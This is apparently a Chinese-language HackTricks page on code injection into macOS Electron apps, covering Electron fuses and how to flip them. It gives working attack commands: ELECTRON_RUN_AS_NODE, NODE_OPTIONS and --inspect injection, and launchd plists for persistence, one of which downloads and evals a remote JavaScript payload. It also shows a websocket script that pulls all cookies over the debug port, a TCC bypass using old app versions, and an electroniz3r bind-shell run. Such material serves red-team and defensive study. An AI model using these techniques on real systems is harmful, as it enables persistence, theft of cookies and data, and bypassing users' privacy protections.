macOS Electron 应用程序注入
Reading time: 13 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
基本信息
如果你不知道 Electron 是什么,你可以在 这里找到很多信息。但现在只需知道 Electron 运行 node。
而 node 有一些 参数 和 环境变量 可以用来 执行其他代码,而不是指定的文件。
Electron 保险丝
这些技术将在接下来讨论,但最近 Electron 添加了几个 安全标志以防止它们。这些是 Electron 保险丝,用于 防止 macOS 中的 Electron 应用程序 加载任意代码:
RunAsNode
:如果禁用,它会阻止使用环境变量ELECTRON_RUN_AS_NODE
来注入代码。EnableNodeCliInspectArguments
:如果禁用,参数如--inspect
、--inspect-brk
将不被尊重。避免通过这种方式注入代码。EnableEmbeddedAsarIntegrityValidation
:如果启用,加载的asar
文件 将由 macOS 验证。以此方式 防止 通过修改该文件的内容进行 代码注入。OnlyLoadAppFromAsar
:如果启用,它将只检查并使用 app.asar,而不是按以下顺序加载:app.asar
、app
,最后是default_app.asar
。因此确保当与embeddedAsarIntegrityValidation
保险丝 结合 时,不可能 加载未验证的代码。LoadBrowserProcessSpecificV8Snapshot
:如果启用,浏览器进程使用名为browser_v8_context_snapshot.bin
的文件作为其 V8 快照。
另一个有趣的保险丝不会阻止代码注入的是:
- EnableCookieEncryption:如果启用,磁盘上的 cookie 存储将使用操作系统级别的加密密钥进行加密。
检查 Electron 保险丝
你可以通过以下方式 检查这些标志:
npx @electron/fuses read --app /Applications/Slack.app
Analyzing app: Slack.app
Fuse Version: v1
RunAsNode is Disabled
EnableCookieEncryption is Enabled
EnableNodeOptionsEnvironmentVariable is Disabled
EnableNodeCliInspectArguments is Disabled
EnableEmbeddedAsarIntegrityValidation is Enabled
OnlyLoadAppFromAsar is Enabled
LoadBrowserProcessSpecificV8Snapshot is Disabled
修改 Electron Fuses
正如 文档提到的,Electron Fuses 的配置是在 Electron binary 内部配置的,其中包含字符串 dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX
。
在 macOS 应用程序中,这通常位于 application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework
grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches
您可以在 https://hexed.it/ 中加载此文件并搜索前面的字符串。在此字符串之后,您可以在 ASCII 中看到一个数字 "0" 或 "1",指示每个保险丝是禁用还是启用。只需修改十六进制代码(0x30
是 0
,0x31
是 1
)以 修改保险丝值。
请注意,如果您尝试 覆盖 应用程序内部的 Electron Framework
二进制文件并修改这些字节,应用程序将无法运行。
RCE 向 Electron 应用程序添加代码
可能有 外部 JS/HTML 文件 被 Electron 应用程序使用,因此攻击者可以在这些文件中注入代码,这些文件的签名不会被检查,并在应用程序的上下文中执行任意代码。
caution
但是,目前有 2 个限制:
- 修改应用程序需要
kTCCServiceSystemPolicyAppBundles
权限,因此默认情况下这不再可能。 - 编译后的
asap
文件通常具有embeddedAsarIntegrityValidation
和onlyLoadAppFromAsar
启用
这使得攻击路径更加复杂(或不可能)。
请注意,可以通过将应用程序复制到另一个目录(如 /tmp
),将文件夹 app.app/Contents
重命名为 app.app/NotCon
,修改 asar 文件以包含您的 恶意 代码,然后将其重命名回 app.app/Contents
并执行它,从而绕过 kTCCServiceSystemPolicyAppBundles
的要求。
您可以使用以下命令从 asar 文件中解压代码:
npx asar extract app.asar app-decomp
将其打包回去,修改为:
npx asar pack app-decomp app-new.asar
RCE with ELECTRON_RUN_AS_NODE
根据文档,如果设置了这个环境变量,它将以普通的 Node.js 进程启动该进程。
# Run this
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
# Then from the nodeJS console execute:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
caution
如果熔断器 RunAsNode
被禁用,环境变量 ELECTRON_RUN_AS_NODE
将被忽略,这将无法工作。
从应用程序 Plist 注入
正如 这里提到的,您可以在 plist 中滥用此环境变量以保持持久性:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>true</string>
</dict>
<key>Label</key>
<string>com.xpnsec.hideme</string>
<key>ProgramArguments</key>
<array>
<string>/Applications/Slack.app/Contents/MacOS/Slack</string>
<string>-e</string>
<string>const { spawn } = require("child_process"); spawn("osascript", ["-l","JavaScript","-e","eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('http://stagingserver/apfell.js')), $.NSUTF8StringEncoding)));"]);</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
RCE with NODE_OPTIONS
您可以将有效负载存储在不同的文件中并执行它:
# Content of /tmp/payload.js
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator');
# Execute
NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
caution
如果熔断器 EnableNodeOptionsEnvironmentVariable
被 禁用,则应用在启动时将 忽略 环境变量 NODE_OPTIONS,除非环境变量 ELECTRON_RUN_AS_NODE
被设置,如果熔断器 RunAsNode
被禁用,该变量也将被 忽略。
如果您不设置 ELECTRON_RUN_AS_NODE
,您将会发现 错误:Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.
从应用程序 Plist 注入
您可以在 plist 中滥用此环境变量以保持持久性,添加以下键:
<dict>
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>true</string>
<key>NODE_OPTIONS</key>
<string>--require /tmp/payload.js</string>
</dict>
<key>Label</key>
<string>com.hacktricks.hideme</string>
<key>RunAtLoad</key>
<true/>
</dict>
RCE with inspecting
根据这个的说法,如果你使用 --inspect
、--inspect-brk
和 --remote-debugging-port
等标志执行 Electron 应用程序,将会 打开一个调试端口,这样你就可以连接到它(例如从 Chrome 的 chrome://inspect
),并且你将能够 在其上注入代码,甚至启动新进程。
例如:
/Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
# Connect to it using chrome://inspect and execute a calculator with:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
caution
如果熔断器 EnableNodeCliInspectArguments
被禁用,应用程序将 忽略节点参数(如 --inspect
),除非环境变量 ELECTRON_RUN_AS_NODE
被设置,如果熔断器 RunAsNode
被禁用,该变量也将被 忽略。
然而,您仍然可以使用 electron 参数 --remote-debugging-port=9229
,但之前的有效载荷将无法执行其他进程。
使用参数 --remote-debugging-port=9222
可以从 Electron 应用程序中窃取一些信息,如 历史记录(使用 GET 命令)或浏览器的 cookies(因为它们在浏览器内部 解密,并且有一个 json 端点 可以提供它们)。
您可以在 这里 和 这里 学习如何做到这一点,并使用自动工具 WhiteChocolateMacademiaNut 或简单的脚本,如:
import websocket
ws = websocket.WebSocket()
ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00", suppress_origin=True)
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
print(ws.recv()
在这篇博客中,这种调试被滥用,使得无头 Chrome 在任意位置下载任意文件。
从应用程序 Plist 注入
您可以在 plist 中滥用此环境变量,通过添加这些键来保持持久性:
<dict>
<key>ProgramArguments</key>
<array>
<string>/Applications/Slack.app/Contents/MacOS/Slack</string>
<string>--inspect</string>
</array>
<key>Label</key>
<string>com.hacktricks.hideme</string>
<key>RunAtLoad</key>
<true/>
</dict>
TCC Bypass abusing Older Versions
tip
macOS 的 TCC 守护进程不会检查应用程序的执行版本。因此,如果您 无法在 Electron 应用程序中注入代码,可以下载该应用的旧版本并在其上注入代码,因为它仍然会获得 TCC 权限(除非 Trust Cache 阻止它)。
Run non JS Code
之前的技术将允许您在 Electron 应用程序的进程中运行 JS 代码。但是,请记住,子进程在与父应用程序相同的沙箱配置文件下运行,并且 继承它们的 TCC 权限。
因此,如果您想利用权限访问相机或麦克风,例如,您可以直接 从进程中运行另一个二进制文件。
Automatic Injection
工具 electroniz3r 可以轻松用于 查找已安装的易受攻击的 Electron 应用程序 并在其上注入代码。该工具将尝试使用 --inspect
技术:
您需要自己编译它,可以这样使用:
# Find electron apps
./electroniz3r list-apps
╔══════════════════════════════════════════════════════════════════════════════════════════════════════╗
║ Bundle identifier │ Path ║
╚──────────────────────────────────────────────────────────────────────────────────────────────────────╝
com.microsoft.VSCode /Applications/Visual Studio Code.app
org.whispersystems.signal-desktop /Applications/Signal.app
org.openvpn.client.app /Applications/OpenVPN Connect/OpenVPN Connect.app
com.neo4j.neo4j-desktop /Applications/Neo4j Desktop.app
com.electron.dockerdesktop /Applications/Docker.app/Contents/MacOS/Docker Desktop.app
org.openvpn.client.app /Applications/OpenVPN Connect/OpenVPN Connect.app
com.github.GitHubClient /Applications/GitHub Desktop.app
com.ledger.live /Applications/Ledger Live.app
com.postmanlabs.mac /Applications/Postman.app
com.tinyspeck.slackmacgap /Applications/Slack.app
com.hnc.Discord /Applications/Discord.app
# Check if an app has vulenrable fuses vulenrable
## It will check it by launching the app with the param "--inspect" and checking if the port opens
/electroniz3r verify "/Applications/Discord.app"
/Applications/Discord.app started the debug WebSocket server
The application is vulnerable!
You can now kill the app using `kill -9 57739`
# Get a shell inside discord
## For more precompiled-scripts check the code
./electroniz3r inject "/Applications/Discord.app" --predefined-script bindShell
/Applications/Discord.app started the debug WebSocket server
The webSocketDebuggerUrl is: ws://127.0.0.1:13337/8e0410f0-00e8-4e0e-92e4-58984daf37e5
Shell binding requested. Check `nc 127.0.0.1 12345`
参考
- https://www.electronjs.org/docs/latest/tutorial/fuses
- https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks
- https://m.youtube.com/watch?v=VWQY5R2A6X8
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。